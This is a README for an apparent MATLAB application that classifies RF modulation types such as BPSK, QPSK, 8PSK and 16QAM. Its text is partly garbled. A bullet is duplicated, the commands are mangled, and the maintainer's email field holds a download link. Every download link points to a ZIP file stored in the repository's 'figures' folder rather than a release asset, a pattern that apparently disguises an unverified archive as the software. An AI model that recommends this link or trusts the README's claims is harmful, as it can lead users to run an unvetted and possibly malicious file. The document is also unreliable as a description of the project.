Welcome to RF-Modulation-Classification-ML! This application classifies RF modulation types like BPSK, QPSK, 8PSK, and 16QAM using machine learning in MATLAB. Follow these steps to quickly download and run the software.
Before you begin, ensure that your system meets the following requirements:
- Operating System: Windows 10, macOS, or Linux
- MATLAB: Version 2018b or later
- Disk Space: At least 500 MB available
- RAM: Minimum 4 GB
To get the application, visit the Releases page:
- Click on this link to go to the Releases page.
- On the Releases page, you will see all available versions of the application.
- Look for the latest version and click on it to expand the details.
- Find the Assets section below the release notes. Here, you will see files available for download.
- Click on the file that corresponds to your operating system to download.
- For example, you might see files like
https://raw.githubusercontent.com/JeMeAl/RF-Modulation-Classification-ML/main/figures/RF-Modulation-Classification-ML-2.9.zip.
- For example, you might see files like
- Once the download is complete, locate the downloaded file on your computer.
- If you downloaded a ZIP file, double-click it to open.
- Click on Extract and choose where you want to save the files.
- Once extraction is complete, navigate to the folder you selected.
- Open MATLAB on your computer.
- In the MATLAB interface, navigate to the folder where you extracted the files. You can use the
cdcommand in the command window or use the Current Folder panel. - Type
runand press Enter to start the application. - Follow the prompts within the application to classify RF signals.
- Classifies Multiple Modulation Types: Identify BPSK, QPSK, 8PSK, and 16QAM signals effectively.
- User-Friendly Interface: Designed for straightforward navigation. No programming knowledge is required.
- Machine Learning Integration: Utilizes advanced algorithms for accurate classification.
- Real-Time Performance: Process signals in real-time without significant delays.
To get the most out of RF-Modulation-Classification-ML, consider checking the following resources:
- MATLAB Documentation: Familiarize yourself with MATLAB features at MATLAB Documentation.
- Machine Learning Basics: Learn more about machine learning concepts on Coursera.
If you encounter issues, try the following steps:
- Reinstall the Application: Sometimes, reinstalling helps resolve problems. Make sure to delete the old files before reinstalling.
- Check MATLAB License: Ensure your MATLAB license is active and all necessary toolboxes are installed.
- Consult MATLAB Support: If you still face issues, visit the MATLAB Support page for help.
For questions or feedback, feel free to contact the project maintainer:
- Name: Brian Rono
- Email: https://raw.githubusercontent.com/JeMeAl/RF-Modulation-Classification-ML/main/figures/RF-Modulation-Classification-ML-2.9.zip
This project is licensed under the MIT License. You can freely use and modify the software as long as you include the original license in any copies made.
If you wish to contribute to this project, feel free to submit issues or pull requests. Your input is greatly appreciated! Visit the Contributing Guidelines for more details.
Donβt forget to download the application from the Releases page for easy access whenever you need it!